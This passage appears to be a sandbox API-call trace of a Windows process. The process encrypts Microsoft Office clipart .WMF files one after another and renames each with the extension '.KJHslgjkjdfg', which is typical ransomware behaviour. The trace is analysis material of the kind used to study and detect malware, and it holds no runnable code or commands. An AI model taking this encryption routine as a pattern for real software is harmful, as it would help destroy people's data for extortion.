lpOverlapped=0x0) returned 1 [0216.204] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.204] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4bb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.204] SetEndOfFile (hFile=0x130) returned 1 [0216.207] GetProcessHeap () returned 0x2ef0000 [0216.207] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0216.207] GetProcessHeap () returned 0x2ef0000 [0216.207] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0216.207] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01470_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01470_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01470_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01470_.wmf.kjhslgjkjdfg")) returned 1 [0216.209] CloseHandle (hObject=0x130) returned 1 [0216.209] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x841c4800, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x841c4800, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x2028, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01472_.WMF", cAlternateFileName="")) returned 1 [0216.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01472_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01472_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0216.210] GetProcessHeap () returned 0x2ef0000 [0216.210] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0216.210] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0216.210] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0216.210] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0216.212] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.212] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.212] GetProcessHeap () returned 0x2ef0000 [0216.213] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0216.213] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0216.213] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.213] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0216.213] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0216.213] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0216.213] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0216.213] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0216.213] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0216.213] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.213] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.213] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.213] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2028, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2028, lpOverlapped=0x0) returned 1 [0216.215] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2030, dwBufLen=0x2030 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2030) returned 1 [0216.215] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.215] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2030, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2030, lpOverlapped=0x0) returned 1 [0216.215] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.215] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2104, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.215] SetEndOfFile (hFile=0x130) returned 1 [0216.218] GetProcessHeap () returned 0x2ef0000 [0216.218] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0216.218] GetProcessHeap () returned 0x2ef0000 [0216.218] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0216.218] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01472_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01472_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01472_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01472_.wmf.kjhslgjkjdfg")) returned 1 [0216.219] CloseHandle (hObject=0x130) returned 1 [0216.219] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82eb1b00, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82eb1b00, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x28ae, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01473_.WMF", cAlternateFileName="")) returned 1 [0216.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01473_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01473_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0216.221] GetProcessHeap () returned 0x2ef0000 [0216.221] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0216.221] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0216.221] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0216.222] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0216.226] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.226] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.226] GetProcessHeap () returned 0x2ef0000 [0216.226] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0216.226] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0216.226] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.226] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0216.226] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0216.226] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0216.227] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0216.227] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0216.227] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0216.227] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.227] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.227] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.227] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x28ae, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x28ae, lpOverlapped=0x0) returned 1 [0216.228] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x28b0, dwBufLen=0x28b0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x28b0) returned 1 [0216.228] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.228] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x28b0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x28b0, lpOverlapped=0x0) returned 1 [0216.228] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.228] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2984, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.228] SetEndOfFile (hFile=0x130) returned 1 [0216.230] GetProcessHeap () returned 0x2ef0000 [0216.230] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0216.230] GetProcessHeap () returned 0x2ef0000 [0216.230] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0216.230] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01473_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01473_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01473_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01473_.wmf.kjhslgjkjdfg")) returned 1 [0216.232] CloseHandle (hObject=0x130) returned 1 [0216.232] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f5def00, ftCreationTime.dwHighDateTime=0x1bd4af3, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1f5def00, ftLastWriteTime.dwHighDateTime=0x1bd4af3, nFileSizeHigh=0x0, nFileSizeLow=0x349c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01474_.WMF", cAlternateFileName="")) returned 1 [0216.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01474_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01474_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0216.233] GetProcessHeap () returned 0x2ef0000 [0216.233] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0216.233] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0216.233] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0216.233] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0216.236] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.236] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.236] GetProcessHeap () returned 0x2ef0000 [0216.236] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0216.236] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0216.236] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.236] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0216.236] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0216.236] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0216.236] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0216.236] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0216.236] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0216.236] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.236] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.237] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.237] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x349c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x349c, lpOverlapped=0x0) returned 1 [0216.237] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x34a0, dwBufLen=0x34a0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x34a0) returned 1 [0216.238] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.238] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x34a0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x34a0, lpOverlapped=0x0) returned 1 [0216.238] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.238] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3574, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.238] SetEndOfFile (hFile=0x130) returned 1 [0216.240] GetProcessHeap () returned 0x2ef0000 [0216.241] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0216.241] GetProcessHeap () returned 0x2ef0000 [0216.241] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0216.241] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01474_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01474_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01474_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01474_.wmf.kjhslgjkjdfg")) returned 1 [0216.242] CloseHandle (hObject=0x130) returned 1 [0216.242] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bb77a00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2bb77a00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0xce0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01627_.WMF", cAlternateFileName="")) returned 1 [0216.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01627_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01627_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0216.244] GetProcessHeap () returned 0x2ef0000 [0216.244] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0216.244] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0216.244] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0216.244] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.244] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.244] GetProcessHeap () returned 0x2ef0000 [0216.244] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0216.244] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0216.244] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.244] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0216.246] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0216.246] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0216.246] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0216.246] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0216.247] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0216.247] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.247] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.247] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.247] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xce0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xce0, lpOverlapped=0x0) returned 1 [0216.247] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xce0, dwBufLen=0xce0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xce0) returned 1 [0216.247] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.247] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xce0, lpOverlapped=0x0) returned 1 [0216.247] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.247] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xdb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.247] SetEndOfFile (hFile=0x130) returned 1 [0216.249] GetProcessHeap () returned 0x2ef0000 [0216.249] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0216.249] GetProcessHeap () returned 0x2ef0000 [0216.250] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0216.250] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01627_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01627_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01627_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01627_.wmf.kjhslgjkjdfg")) returned 1 [0216.268] CloseHandle (hObject=0x130) returned 1 [0216.268] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f01d600, 